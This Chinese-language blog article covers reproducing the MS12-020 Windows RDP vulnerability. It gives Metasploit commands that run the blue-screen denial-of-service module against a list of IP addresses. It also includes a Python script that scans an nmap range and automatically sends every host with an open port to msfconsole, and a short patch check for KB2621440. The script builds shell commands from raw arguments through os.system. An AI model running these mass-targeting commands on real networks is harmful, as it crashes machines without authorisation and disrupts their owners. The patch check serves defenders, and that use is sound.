千家信息网

MS12-020漏洞复现及自动化批量利用

发表于:2024-12-12 作者:千家信息网编辑
千家信息网最后更新 2024年12月12日,漏洞描述Windows 远程桌面协议漏洞,可执行代码,POC可导致蓝屏。(RDP远程桌面执行代码漏洞)影响目标Windows XP sp3Windows xp sp2Windows Vista sp2
千家信息网最后更新 2024年12月12日MS12-020漏洞复现及自动化批量利用

漏洞描述

Windows 远程桌面协议漏洞,可执行代码,POC可导致蓝屏。(RDP远程桌面执行代码漏洞)

影响目标

Windows XP sp3Windows xp sp2Windows Vista sp2Windows 7Windows Server 2003Windows Server 2008Windows Server 2008 R2

msfpayload利用

msfconsoleuse auxiliary/dos/windows/rdp/ms12_020_maxchannelidsset rhost run

此pyload仅支持单目标。

通过msfconsole快速启动

msfconsole -x "use auxiliary/dos/windows/rdp/ms12_020_maxchannelids;set rhost 10.129.10.10;run;set rhost 10.129.10.37;run;set rhost 10.129.10.169;run;set rhost 10.129.10.209;run;set rhost 10.129.10.232;run;"

通过bash脚本批量生成检测脚本(nmap-port2ip.py)

#encoding:utf-8import xml.saximport sysimport osclass MovieHandler( xml.sax.ContentHandler ):   def __init__(self, filterport=None):      self.CurrentData = ""      self.port=filterport      self.data = ""      self.datas=[]   # 元素开始事件处理   def startElement(self, tag, attributes):      self.CurrentData = tag      if tag == "address":         self.data=attributes["addr"]   # 元素结束事件处理   def endElement(self, tag):      if self.CurrentData == "address":         self.datas.append(self.data)         self.data=""      self.CurrentData = ""class Gather(object):    def __init__(self, filterport=None):        # 创建一个 XMLReader        self.parser = xml.sax.make_parser()        # turn off namepsaces        self.parser.setFeature(xml.sax.handler.feature_namespaces, 0)        # 重写 ContextHandler        self.Handler = MovieHandler(filterport)        self.parser.setContentHandler( self.Handler )    def run(self, port):        self.Handler.datas=[]        self.parser.parse(port+".xml")        print(self.Handler.datas)    def get_ans(self):        return self.Handler.datasif __name__ == "__main__":    if len(sys.argv) !=3:        os.exit()    os.system("nmap "+sys.argv[1]+" -p "+sys.argv[2]+" --open -oX "+sys.argv[2]+".xml")    g = Gather()    g.run(sys.argv[2])    # create cmd    cmd = '"use auxiliary/scanner/rdp/ms12_020_check;set threads 20;'    ips = g.get_ans()    if len(ips)>0:        for ip in g.get_ans():            cmd += "set rhosts "+ip+";run;"        cmd += 'exit;"'        os.system("msfconsole -x " + cmd)# 使用方法python nmap-port2ip.py  # 功能:针对某种服务的漏洞对指定IP段的所有主机进行检测,获取可能存在问题的主机IP,并调用对应的Msf Payload进行利用尝试。# ip可支持单一IP、CIDR形式IP、10.129.1.1-154等几种,格式与nmap一致# port仅支持单端口

漏洞补丁检测

systeminfo | find /i "KB2621440"如果存在结果如下,证明已打补丁,否则,需要打对应的补丁。

Windows Server 2003补丁

参考文章

  1. 微软MS12-020
0